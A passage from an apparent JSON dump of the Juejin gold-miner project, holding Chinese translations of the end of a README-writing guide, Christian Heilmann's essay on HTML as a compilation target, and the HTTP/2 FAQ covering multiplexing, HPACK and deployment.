如何运行\n\n你一定需要清晰明确地解释如何运行该项目（或者如果它是一个库，解释如何使用它）。\n\n必须能用一行命令运行项目的演示版本，例如 `npm run`、`graddle serve`、`docker run`…… 或者任何你的框架使用的命令。\n\n在当今时代，无论运行什么东西，都几乎不需要一大堆的手工依赖和先导设置。\n\n**下面这样是你应该争取做到的：**\n\n```bash\n# serve with hot reload at localhost:8080\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# regenerate Element component styles in theme/ from element-variables.css\nnpm run theme\n\n```\n\n#### 演示\n\n如果你能有即时可访问的演示，直接在说明里放上链接。如果你没有即时演示，可以使用[录屏](https://www.producthunt.com/alternatives/giphy-capture)。如果这些都难以做到，至少要有几张截图。\n\n<https://asciinema.org/> 看起来是一个很酷的控制台录制工具，但我没有用过。\n\n#### 单元测试\n\n已经 2018 年了，如果你的项目没有单元测试的话，你就不应该把它放出来。这是一个反面教材，说明你的习惯很差。没有理由不写单元测试。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/html-is-and-always-was-a-compilation-target-can-we-deal-with-that.md",
    "content": "> * 原文地址：[HTML is and always was a compilation target – can we deal with that?](https://christianheilmann.com/2019/01/28/html-is-and-always-was-a-compilation-target-can-we-deal-with-that/)\n> * 原文作者：[Christian Heilmann](https://christianheilmann.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/html-is-and-always-was-a-compilation-target-can-we-deal-with-that.md](https://github.com/xitu/gold-miner/blob/master/TODO1/html-is-and-always-was-a-compilation-target-can-we-deal-with-that.md)\n> * 译者：[CodeMing](https://github.com/coderming)\n> * 校对者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)，[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# HTML 一直是我们编译的目标 – 我们可以解决好它吗？\n\n每隔几周，Web 开发者的 Twitter 圈都会因为糟糕的 HTML 代码而吵到疯狂。但 HTML 只是一些带有各种各样属性的 div 和 span 而已。有些 HTML 不仅缺乏任何可见的接口，例如锚点或按钮，也缺乏任何结构，例如头部和列表。啊，这就是非语义的 HTML，不可读的 HTML。\n\nHTML 的定义很清晰，由于它的语法有着很高的容错率，它也很健壮。在XHTML时代，我们试图让HTML降低容错率，但是网络环境不允许我们这样做。开发者犯下的错不应让用户背锅，而应该让浏览器宽容 HTML 同时在渲染时自动修复错误。这个问题应让我们产生担忧：我们被迫忍受多年来浏览器的糟糕决定。这就是为什么 HTML 不像其它语言那样（进步得很快）—— 因为浏览器太臃肿和缓慢了。\n\n## HTML 允许我们犯错\n\n首先，HTML 的高容错率帮助了 web 世界存活下来。它确保了现代浏览器也可以显示很老的内容，而无需进行更改。很多年的 Flash 内容现在都无法使用了，这件事证明在网络这样波动很大的环境中，容错率高是一件正确的事情。\n\n> 但是, 这确实意味着对非语义 HTML 没有可感知到的错误。用 div、span 来实现 table 布局仍然可以正常工作（说的就是这个网站：[hackernews](https://news.ycombinator.com/)）\n\n展示给我们所有内容的浏览器让我们感到担心，因为它让“干净整洁“和“语义化”的 HTML 变成了一种少数人拥有的特殊技能。HTML 作为网络创作的文字，其书法千千万，其中有大多数的内容都像是随意涂写的涂鸦。\n\n语义化的 HTML 是很棒的，我们可以确保它没有问题。你可以从语义化的 HTML 中得到很多显而易见的好处。它往往表现得更好，它通常也意味着没有第三方依赖，也容易阅读和理解。我们中的很多人学习 web 知识是通过阅读其他 web 站点的源码，这个方法已经过时了，[我几个月前写了这篇文章](https://christianheilmann.com/2018/07/09/different-views-on-view-source/)。\n\n现在是时候开始在更成熟的层面上处理这个问题，而不是每隔几个月就重复同样的抱怨了。\n\n> HTML 一直都是一个编译目标。“手写 HTML” 的玩法仅仅适用于一小部分吵闹的爱好者。\n\n我是那些吵闹的爱好者中的一员，至今我已经写了 14 年博客了。我热爱这个对所有人都开放的 web 世界。你只需要一个编辑器，一些（工具的）使用文档就可以在 web 世界上发布你的作品。\n\n## 手写的 HTML 是稀有品，它应该是收藏品\n\n大约20年前，当我开始成为一名 web 开发者的时候，（用工具编译 HTML）并不是人们的工作方式。那个时候没有什么特别大的 web 产品被创造出来——事实上，一个职位需求中没有要求“手写 HTML/CSS/JS 的能力“都是很反常的。那时关注 HTML 规范化的是一个精英汇聚、兴趣浓厚的团体。如果你可以让 web 世界变得更加清晰，更加语义化，那么你就是一个很棒的人。但是我们到底要改变什么呢？\n\nweb 世界的大部分都是基于除了 HTML 以外的其他技术：\n\n*   服务端基础（记得 .shtml 页面吗）\n*   CGI/Perl 模版引擎\n*   用内容管理系统和我们自定义的模版语言来生成 HTML\n*   用来生成一些类似于 HTML 的 WYSIWYG（所见即所得）编辑器\n*   模版语言，例如 PHP、ColdFusion、Template Toolkit、ASP 以及其它\n*   在线编辑器和页面生成器，例如 Geocities\n*   论坛和博客编辑器有时拥有自己的语言（还记得 BBCode 吗？）（译者注：BBCode 是一类标记语言，类似于 Markdown。wiki：https://zh.wikipedia.org/wiki/BBCode）\n\n这些技术没有一件是在 web 上发布产品所必需的。但在我工作过的一些大型公司中，他们的内容管理系统是及其复杂和庞大的，但人们却选择用它。因为它提供了一个更简单、更明确、更清晰的 web 内容发布途径。他们解决的是开发人员和产品经理之间的问题, 而不是最终用户体验。Geocities 及类似的服务让人们在网络上发布作品更加容易，因为这些服务使得人们甚至不需要编写任何代码。\n\n> 你在浏览器里看到的几乎不会是源代码。如果你想去提高代码质量，你需要去追溯到代码的源头。\n\n即使我们选择看网页的源代码，那也不是某个人写的代码，而是由服务端代码处理各种数据甚至是优化后返回给浏览器的代码。\n\n这样做是有其道理的。有很多不同的公共组件允许人们同时使用它们。一般情况下，你的网站导航是全球性的，甚至是由其他部门或公司编写和维护的。你甚至无法修改 HTML，如果幸运的话，你可以解决网站 CSS 的一些问题。\n\n## HTML 是一个编译目标\n\n我们回到现在。HTML 并不是一个很酷的东西，各类模版语言（例如 Markdown Pug、Jade 以及其它）层出不穷。这些模版语言都希望能让我们从 HTML 在不同环境下的可靠性和兼容性问题中解脱出来。\n\n> HTML 有一个在某处可用，却不能确保其它地方可用的坏名声。比起只能确保兼容老旧技术的框架，一个能提供更强功能且与时俱进的框架会更加令人兴奋。\n\nweb 世界不应该受到我们的控制，但是我们需要去满足用户的需求。对于他们来说，在规定时间内给出了被需求的接口才是他们的任务。我们应该改变这个现状！\n\nHTML 看起来不是我们所需要担心的东西——它在一个容错率高的环境中运行。它通常被看作是更好地利用你的时间来学习更高的抽象。人们不希望建立一个单纯意义上的网站，而是想构建一个应用程序。尽管大多数情况下，他们并不需要一个应用。我们在保证 HTML 的趣味性上犯错误了。我们希望网络能给我们更多的功能，让其可以与手机上的原生代码并驾齐驱。但这总是导致我们的应用有更高的复杂度。[构建可扩展 web 的宣言](https://extensiblewebmanifesto.org/) 基本证明了网络上的发布者需要有比实体的作家或出版商更多的开发者思维。我们想要控制，我们想要负责。现在我们是这样做了。\n\n这样做让我们剩下了什么？首先，我们需要去兼容现在 web 世界中现有的由服务器处理过的代码。查看最终结果、感叹其代码质量是没有意义的。没有人写过这些代码，意味着它是不可读的。\n\n我不会放弃语义化 HTML 及其优点，但我明白，我们不会通过告诉开发者他们的产品是可怕的来说服他们。我们需要与框架开发人员合作，这些开发人员是组件的创建者。我们需要帮助模板源代码，这些模板源代码是框架渲染器。我们需要确保转换阶段产生良好的 HTML 代码——而不是简单的 HTML。\n\n同时我们需要和工具开发者合作来确保人们了解语义化的价值。集成在编辑器内的代码 Lint 和自动化有很大的发展潜力。现在我们有了更多的工具可供选择，以确保开发人员做正确的事情，而不必考虑它。我喜欢这个主意，它让我们从源头上解决问题，而不是抱怨症状。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/http-2-frequently-asked-questions.md",
    "content": "> - 原文地址：[HTTP/2 Frequently Asked Questions](https://http2.github.io/faq/)\n> - 原文作者：[HTTP/2](https://http2.github.io)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/http-2-frequently-asked-questions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/http-2-frequently-asked-questions.md)\n> - 译者：[YueYong](https://github.com/YueYongDev)\n> - 校对者：[Ranjay](https://github.com/jerryOnlyZRJ), [ziyin feng](https://github.com/Fengziyin1234)\n\n# HTTP/2 常见问题解答\n\n以下是有关 HTTP/2 的常见问题解答。\n\n- [一般问题](#一般问题)\n  - [为什么要修订 HTTP ?](#为什么要修订-http)\n  - [谁制定了 HTTP/2??](#谁制定了-http2)\n  - [HTTP/2 与 SPDY 的关系是什么？](#http2-与-spdy-的关系是什么)\n  - [究竟是 HTTP/2.0 还是 HTTP/2？](#究竟是-http20-还是-http2)\n  - [和 HTTP/1.x 相比 HTTP/2 的关键区别是什么?](#和-http1x-相比-http2-的关键区别是什么)\n  - [为什么 HTTP/2 是二进制的?](#为什么-http2-是二进制的)\n  - [为什么 HTTP/2 需要多路传输?](#为什么-http2-需要多路传输)\n  - [为什么只需要一个 TCP 连接?](#为什么只需要一个-TCP-连接)\n  - [服务器推送的好处是什么？](#服务器推送的好处是什么)\n  - [消息头为何需要压缩？](#消息头为何需要压缩)\n  - [为什么选择 HPACK？](#为什么选择-HPACK)\n  - [HTTP/2 可以让 cookies （或者其他消息头）变得更好吗？](#http2-可以让-cookies-或者其他消息头变得更好吗)\n  - [非浏览器用户的 HTTP 是什么样的？](#非浏览器用户的-HTTP-是什么样的)\n  - [HTTP/2 需要加密吗？](#http2-需要加密吗)\n  - [HTTP/2 是怎么提高安全性的呢？](#Hhttp2-是怎么提高安全性的呢)\n  - [我现在可以使用 HTTP/2 吗？](#我现在可以使用-http2-吗)\n  - [HTTP/2 将会取代 HTTP/1.x 吗？](#http2-将会取代-http1x-吗)\n  - [HTTP/3 会出现吗？](#http3-会出现吗)\n- [实现过程中的问题](#实现过程中的问题)\n  - [为什么规则会围绕消息头帧的数据接续？](#为什么规则会围绕消息头帧的数据接续)\n  - [HPACK 状态的最小和最大尺寸是多少？](#hpack-状态的最小和最大尺寸是多少)\n  - [我怎样才能避免保持 HPACK 状态？](#我怎样才能避免保持-hpack-状态)\n  - [为什么会有一个单独的压缩/流程控制上下文？](#为什么会有一个单独的压缩流程控制上下文)\n  - [为什么在 HPACK 中有 EOS 的符号？](#为什么在-hpack-中有-eos-的符号)\n  - [实现 HTTP/2 的时候我可以不用去实现 HTTP/1.1 吗？](#实现-http2-的时候我可以不用去实现-http11-吗)\n  - [5.3.2节中的优先级示例是否正确？](#532节中的优先级示例是否正确)\n  - [HTTP/2 连接中需要 TCP_NODELAY 吗？](#http2-连接中需要-tcp_nodelay-吗)\n- [部署问题](#部署问题)\n  - [我该怎么调试加密过的 HTTP/2 ？](#我该怎么调试加密过的-http2)\n  - [我该怎么使用 HTTP/2 的服务端推送？](#我该怎么使用-http2-的服务端推送)\n\n## 一般问题\n\n### 为什么要修订 HTTP?\n\nHTTP/1.1 已经在 Web 上服役了十五年以上，但其劣势也开始显现。\n\n加载一个网页比以往更加耗费资源（详见 [HTTP Archive’s page size statistics](http://httparchive.org/trends.php#bytesTotal&reqTotal)）。与此同时，有效地加载所有这些静态资源变得非常困难，因为事实上，HTTP 只允许每个 TCP 连接有一个未完成的请求。\n\n在过去，浏览器使用多个 TCP 连接来发出并行请求。然而这种做法是有限制的。如果使用了太多的连接，就会产生相反的效果（TCP 拥塞控制将被无效化，导致的用塞事件将会损害性能和网络）。而且从根本上讲这对其他程序来说也是不公平的(因为浏览器会占用许多本不该属于他的资源)。\n\n同时，大量的请求意味着“在线上”有大量重复的数据。\n\n这两个因素都意味着 HTTP/1.1 请求有很多与之相关的开销;如果请求太多，则会影响性能。\n\n这使得业界在有哪些是最好的实践上达成共识，它们包括，比如，Spriting（图片合并）、data: inlining（数据内嵌）、Domain Sharding（域名分片）和 Concatenation（文件合并）等。这些不规范的解决方案说明了协议本身存在一些潜在问题，并且在使用的时候会出现很多问题。\n\n### 谁制定了 HTTP/2?\n\nHTTP/2 是由 [IETF](http://www.ietf.org/) 的 [HTTP 工作组](https://httpwg.github.io/)开发的，该组织负责维护 HTTP 协议。该组织由众多 HTTP 实现者、用户、网络运营商和 HTTP 专家组成。\n\n值得注意的是，虽然[工作组的邮件列表](http://lists.w3.org/Archives/Public/ietf-http-wg/)托管在 W3C 网站上，不过这并不是 W3C 的功劳。但是， Tim Berners-Lee 和 W3C TAG与 WG 的进度保持一致。\n\n许多人为这项工作做出了自己的贡献，尤其是一些来自“大”项目的工程师，例如 Firefox、Chrome、Twitter、Microsoft 的 HTTP stack、Curl 和 Akamai。以及若干 Python、Ruby 和 NodeJS 的 HTTP 实现者。\n\n为了更好的了解有关 IETF 的信息，你可以访问 [Tao of the IETF](http://www.ietf.org/tao.html)；你也可以在 [Github 的贡献者图表](https://github.com/http2/http2-spec/graphs/contributors)上查看有哪些人为该项目做出了贡献，同样的，你也可以在 [implementation list](https://github.com/http2/http2-spec/wiki/Implementations) 上查看谁正在参与该项目。\n\n### HTTP/2 与 SPDY 的关系是什么？\n\nHTTP/2 第一次出现并被讨论的时候，SPDY 正得到厂商 (像 Mozilla 和 nginx)的青睐和支持，并被看成是 HTTP/1.x 基础上的重大改善。\n\n在不断的征求建议以及投票选择之后，[SPDY/2](http://tools.ietf.org/html/draft-mbelshe-httpbis-spdy-00) 被选为 HTTP/2 的基础。从那时起，根据工作组的讨论和用户的反馈，它已经有了很多变化。\n\n在整个过程中，SPDY 的核心开发人员参与了 HTTP/2 的开发，其中包括 Mike Belshe 和 Roberto Peon。\n\n2015 年 2 月，谷歌[宣布计划](https://blog.chromium.org/2015/02/hello-http2-goodbye-spdy.html)取消对 SPDY 的支持，转而支持 HTTP/2。\n\n### 究竟是 HTTP/2.0 还是 HTTP/2？\n\n工作组决定删除次要版本（“.0”），因为它在 HTTP/1.x 中造成了很多混乱。也就是说，HTTP 的版本仅代表它的兼容性，不表示它的特性和“亮点”。\n\n### 和 HTTP/1.x 相比 HTTP/2 的关键区别是什么?\n\n在高版本 HTTP/2 中：\n\n- 是二进制的，代替原有的文本\n- 是多路复用的，代替原来的序列和阻塞机制\n- 所以可以在一个连接中并行处理\n- 压缩头部信息减小开销\n- 允许服务器主动推送应答到客户端的缓存中\n\n### 为什么 HTTP/2 是二进制的?\n\n和 HTTP/1.x 这样的文本协议相比，二进制协议解析起来更高效、“线上”更紧凑，更重要的是错误更少。因为它们对如空白字符的处理、大小写、行尾、空链接等的处理很有帮助。\n\n举个栗子 🌰，HTTP/1.1 定义了[四种不同的方法来解析一条消息](http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.4)；而在HTTP/2中，仅需一个代码路径即可。\n\nHTTP/2 在 telnet 中不可用，但是我们已经有一些工具可以提供支持，例如 [Wireshark plugin](https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9042)。\n\n### 为什么 HTTP/2 需要多路传输？\n\nHTTP/1.x 有个问题叫“队头阻塞（head-of-line blocking）”，它是指在一次连接（connection）中，只提交一个请求的效率比较高，多了就会变慢。\n\nHTTP/1.1 尝试使用管线化（pipelining）来解决这个问题，但是效果并不理想（对于数据量较大或者速度较慢的响应，依旧会阻碍排在他后面的请求）。此外，由于许多网络媒介（intermediary）和服务器不能很好的支持管线化，导致其部署起来也是困难重重。\n\n这也就迫使客户端使用一些启发式的方法（基本靠猜）来决定通过哪些连接提交哪些请求；由于一个页面加载的数据量，往往比可用连接能处理的数据量的 10 倍还多，对性能产生极大的负面影响，结果经常引起瀑布式阻塞（waterfall of blocked requests）。\n\n而多路传输（Multiplexing）能很好的解决这些问题，因为它能同时处理多个消息的请求和响应；甚至可以在传输过程中将一个消息跟另外一个掺杂在一起。\n\n所以在这种情况下，客户端只需要一个连接就能加载一个页面。\n\n### 为什么只需要一个 TCP 连接？\n\n如果使用 HTTP/1，浏览器打开每个点（origin）就需要 4 到 8 个连接（Connection）。而现在很多网站都使用多点传输（multiple origins），也就是说，光加载一个网页，打开的连接数量就超过 30 个。\n\n一个应用同时打开这么多连接，已经远远超出了当初设计 TCP 时的预想；同时，因为每个连接都会响应大量的数据，使其可以造成网络缓存溢出的风险，结果可能导致网络堵塞和数据重传。\n\n此外，使用这么多连接还会强占许多网络资源。这些资源都是从那些“遵纪守法”的应用那“偷”的（VoIP 就是个很好的例子）。\n\n### 服务器推送的好处是什么？\n\n当浏览器请求页面时，服务器发送 HTML 作为响应，然后需要等待浏览器解析 HTML 并发出对所有嵌入资源的请求，然后才能开始发送 JavaScript，图像和 CSS。\n\n服务器推送服务通过“推送”那些它认为客户端将会需要的内容到客户端的缓存中，以此来避免往返的延迟。\n\n但是，推送的响应并不是“万金油”，如果使用不当，可能会损害性能。正确使用服务器推送是一个长期的实验及研究领域。\n\n### 消息头为何需要压缩？\n\n来自 Mozilla 的 Patrick McManus 通过计算消息头对平均页面负载的印象，对此进行了形象且充分的说明。\n\n假定一个页面有 80 个资源需要加载（这个数量对于今天的 Web 而言还是挺保守的），而每一次请求都有 1400 字节的消息头（这同样也并不少见，因为 Cookie 和引用等东西的存在），至少要 7 到 8 个来回去“在线”获得这些消息头。这还不包括响应时间——那只是从客户端那里获取到它们所花的时间而已。\n\n这全都由于 TCP 的[慢启动](http://en.wikipedia.org/wiki/Slow-start)机制，它根据可以确认的数据包数量对新连接上发送数据的进行限制 — 这有效地限制了最初的几次来回可以发送的数据包数量。\n\n相比之下，即使是头部轻微的压缩也可以是让那些请求只需一个来回就能搞定——有时候甚至一个包就可以了。\n\n这些额外的开销是相当多的，特别是当你考虑对移动客户端的影响的时候。这些往返的延迟，即使在网络状况良好的情况下，也高达数百毫秒。\n\n### 为什么选择 HPACK？\n\nSPDY/2 提出在每一方都使用一个单独的 GZIP 上下文用于消息头压缩，这实现起来很容易，也很高效。\n\n从那时起，一个重要的攻击方式 [CRIME](http://en.wikipedia.org/wiki/CRIME) 诞生了，这种方式可以攻击加密文件内部的所使用的压缩流（如GZIP）。\n\n使用 CRIME，那些具备向加密数据流中注入数据能力的攻击者获得了“探测”明文并还原的可能性。因为是 Web，JavaScript 使其成为了可能，而且已经有了通过对受到 TLS 保护的 HTTP 资源的使用CRIME来还原出 cookies 和认证令牌（Toekn）的案例。\n\n因此，我们不应该使用 GZIP 进行压缩。由于找不到其它适合在这种用例下使用的安全有效的算法，所以我们创造了一种新的，针对消息头的，进行粗粒度操作的压缩模式；因为HTTP消息头并不常常需要改变，我们仍然可以得到很好的压缩效率，而且更加的安全。\n\n### HTTP/2 可以让 cookies（或者其他消息头）变得更好吗？\n\n这一努力被许可在网络协议的一个修订版本上运行 – 例如，HTTP 消息头、方法等等如何才能在不改变 HTTP 语义的前提下放到“网络上”。\n\n这是因为 HTTP 的应用非常广泛。如果我们使用了这个版本的 HTTP，它就会引入一种新的状态机制（例如之前讨论过的例子）或者改变其核心方法（幸好，这还没有发生过），这可能就意味着新的协议将不会兼容现有的 Web 内容。\n\n具体地，我们是想要能够从 HTTP/1 转移到 HTTP/2，并且不会有信息的丢失。如果我们开始”清理”消息头（大多数人都认为现在的 HTTP 消息头简直是一团糟)，我们就不得不去面对现有 Web 的诸多问题。\n\n这样做只会对新协议的普及造成麻烦。\n\n总而言之，[工作组](https://httpwg.github.io/) 会对所有的 HTTP 负责，而不仅仅只是 HTTP/2。因此，我们才可以在版本独立的新机制下运作，只要它们也能同现有的网络向下兼容。\n\n### 非浏览器用户的 HTTP 是什么样的？\n\n如果非浏览器应用已经使用过 HTTP 的话，那他们也应该可以使用 HTTP/2。\n\n先前收到过 HTTP “APIs” 在 HTTP/2 中具有良好性能等特点这样的反馈，那是因为 API 的设计不需要考虑类似请求开销这样一些事情。\n\n话虽如此，我们正在考虑的改进重点是典型的浏览用例，因为这是协议主要的使用场景。\n\n我们的章程里面是这样说的：\n\n正在组织的规范需要满足现在已经普遍部署了的 HTTP 的功能要求；具体来说主要包括，Web 浏览（桌面端和移动端），非浏览器（“HTTP APIs” 形式的），Web 服务（大范围的），还有各种网络中介（借助代理，企业防火墙，反向代理以及内容分发网络实现的）。同样的，对 HTTP/1.x 当前和未来的语义扩展 (例如，消息头，方法，状态码，缓存指令) 都应该在新的协议中支持。\n    \n值得注意的是，这里没有包括将 HTTP 用于非特定行为所依赖的场景中（例如超时，连接状态以及拦截代理）。这些可能并不会被最终的产品启用。\n\n### HTTP/2 需要加密吗？\n\n不需要。在激烈的讨论后，工作组没有就新协议是否使用加密（如 TLS）而达成共识。\n\n不过，有些观点认为只有在加密连接上使用时才会支持 HTTP/2，而目前还没有浏览器支持未加密的 HTTP/2。\n\n### HTTP/2 是怎么提高安全性的呢？\n\nHTTP/2 定义了所需的 TLS 文档，包括版本，密码套件黑名单和使用的扩展。\n\n细节详见[相关规范](http://http2.github.io/http2-spec/#TLSUsage)。\n\n还有对于一些额外机制的讨论，例如对 HTTP:// URLs（所谓的“机会主义加密”）使用 TLS；详见 [RFC 8164](https://tools.ietf.org/html/rfc8164)。\n\n### 我现在可以使用 HTTP/2 吗？\n\n浏览器中，最新版本的 Edge、Safari、Firefox 和 Chrome都支持 HTTP/2。其他基于 Blink 的浏览器也将支持HTTP/2（例如 Opera 和 Yandex 浏览器）。详见 [caniuse](http://caniuse.com/#feat=http2)。\n\n还有几个可用的服务器（包括来自 [Akamai](https://http2.akamai.com/)，[Google](https://www.google.com/) 和 [Twitter](https://twitter.com/) 的主要站点的 beta 支持），以及许多可以部署和测试的开源实现。\n\n有关详细信息，请参阅[实现列表](https://github.com/http2/http2-spec/wiki/Implementations)。\n\n### HTTP/2 将会取代 HTTP/1.x 吗？\n\n工作组的目的是让那些使用 HTTP/1.x 的人也可以使用 HTTP/2，并能获得 HTTP/2 所带来的好处。他们说过，由于人们部署代理和服务器的方式不同，我们不能强迫整个世界进行迁移，所以 HTTP/1.x 仍有可能要使用了一段时间。\n\n### HTTP/3 会出现吗？\n\n如果通过 HTTP/2 引入的沟通协作机制运行良好，支持新版本的 HTTP 就会比过去更加容易。\n\n## 实现过程中的问题\n\n### 为什么规则会围绕消息头帧的数据接续？\n\n数据接续的存在是由于一个值（例如 cookie）可以超过 16kb，这意味着它不可能全部装进一个帧里面。\n\n所以就决定以最不容易出错的方式让所有的消息头数据以一个接一个帧的方式传递，这样就使得对消息头的解码和缓冲区的管理变得更加容易。\n\n### HPACK 状态的最小和最大尺寸是多少？\n\n接收一方总是会控制 HPACK 中内存的使用量, 并且最小能设置到 0，最大则要看 SETTING 帧中能表示的最大整型数是多少，目前是 2^32 - 1。\n\n### 我怎样才能避免保持 HPACK 状态？\n\n发送一个 SETTINGS 帧，将状态尺寸（SETTINGS_HEADER_TABLE_SIZE）设置到 0，然后 RST 所有的流，直到一个带有 ACT 设置位的 SETTINGS 帧被接收。\n\n### 为什么会有一个单独的压缩/流程控制上下文？\n\n简单说一下。\n\n原来的提案里面提到了流分组这个概念，它可以共享上下文，进行流控制等等。尽管那样有利于代理（也有利于用户体验），但是这样做相应也会增加一点复杂度。所以我们就决定先以一个简单的东西开始，看看它会有多糟糕的问题，并且在未来的协议版本中解决这些问题（如果有的话）。\n\n### 为什么在 HPACK 中有 EOS 的符号？\n\n由于 CPU 效率和安全的原因，HPACK 的霍夫曼编码填充了霍夫曼编码字符串的下一个字节边界。因此对于任何特定的字符串可能需要 0-7 个比特的填充。\n\n如果单独考虑霍夫曼解码，任何比所需要的填充长的符号都可以正常工作。但是，HPACK 的设计允许按字节对比霍夫曼编码的字符串。通过填充 EOS 符号需要的比特，我们确保用户在做霍夫曼编码字符串字节级比较时是相等的。反之，许多 headers 可以在不需要霍夫曼解码的情况下被解析。\n\n### 实现 HTTP/2 的时候我可以不用去实现 HTTP/1.1 吗？\n\n通常/大部分时候可以。\n\n对于运行在 TLS（`h2`）之上的 HTTP/2 而言，如果你没有实现 `http1.1` 的 ALPN 标识，那你就不需要支持任何 HTTP/1.1 的特性。\n\n对于运行在 TCP（`h2c`）之上的 HTTP/2 而言，你需要实现最初始的升级（Upgrade）请求。\n\n只支持 `h2c` 的客户端需要生成一个针对 OPTIONS 的请求，因为 `“*”` 或者一个针对 “/” 的 HEAD 请求，他们相当安全，并且也很容易构建。仅仅只希望实现 HTTP/2 的客户端应当把没有带上 101 状态码的 HTTP/1.1 响应看做错误处理。\n\n只支持 `h2c` 的服务器可以使用一个固定的 101 响应来接收一个包含升级（Upgrade）消息头字段的请求。没有 `h2c` 的升级令牌的请求可以使用一个包含了 Upgrade 消息头字段的 505（HTTP 版本不支持）状态码来拒绝。那些不希望处理 HTTP/1.1 响应的服务器应该在发送了带有鼓励用户在升级了的 HTTP/2 连接上重试的连接序言之后立即用带有 REFUSED_STREAM 错误码拒绝该请求的第一份数据流.\n\n### 5.3.2节中的优先级示例是否正确？\n\n不，那是正确的。流 B 的权重为 4，流 C 的权重为 12。为了确定每个流接收的可用资源的比例，将所有权重（16）相加并将每个流权重除以总权重。因此，流 B 接收四分之一的可用资源，流 C 接收四分之三。因此，正如规范所述：[流 B 理想地接收分配给流 C 的资源的三分之一](http://http2.github.io/http2-spec/#rfc.section.5.3.2)。\n\n### HTTP/2 连接中需要 TCP_NODELAY 吗？\n\n是的,有可能。即使对于仅使用单个流下载大量数据的客户端，仍然需要一些数据包以相反的方向发回以实现最大传输速度。在没有设置 TCP_NODELAY（仍然允许 Nagle 算法）的情况下，可以传输的数据包将被延迟一段时间以允许它们与后续分组合并。\n\n例如，如果这样一个数据包告诉对等端有更多可用的窗口来发送数据，那么将其发送延迟数毫秒（或更长时间）会对高速连接造成严重影响。\n\n## 部署问题\n\n### 我该怎么调试加密过的 HTTP/2？\n\n存取应用程序数据的方法很多，最简单的方法是使用 [NSS keylogging](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format) 配上 Wireshark 插件（包含在最新开发版中）。这种方法对 Firefox 和 Chrome 都适用。\n\n### 我该怎么使用 HTTP/2 的服务端推送？\n\nHTTP/2 服务器推送允许服务器向客户端提供内容而无需等待请求。这可以提高检索资源的时间，特别是对于具有大[带宽延迟产品](https://en.wikipedia.org/wiki/Bandwidth-delay_product)的连接，其中网络往返时间占了在资源上花费的大部分时间。\n\n推送基于请求内容而变化的资源可能是不明智的。目前，浏览器只会推送请求，如果他们不这样做，就会提出匹配的请求（详见 [Section 4 of RFC 7234](https://tools.ietf.org/html/rfc7234#section-4)）。\n\n有些缓存不考虑所有请求头字段的变化，即使它们列在 `Vary` header 字段中。为了使推送资源被接收的可能性最大化，内容协商是最好的选择。基于 `accept-encoding` 报头字段的内容协商受到缓存的广泛尊重，但是其他报头字段可能不受支持。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
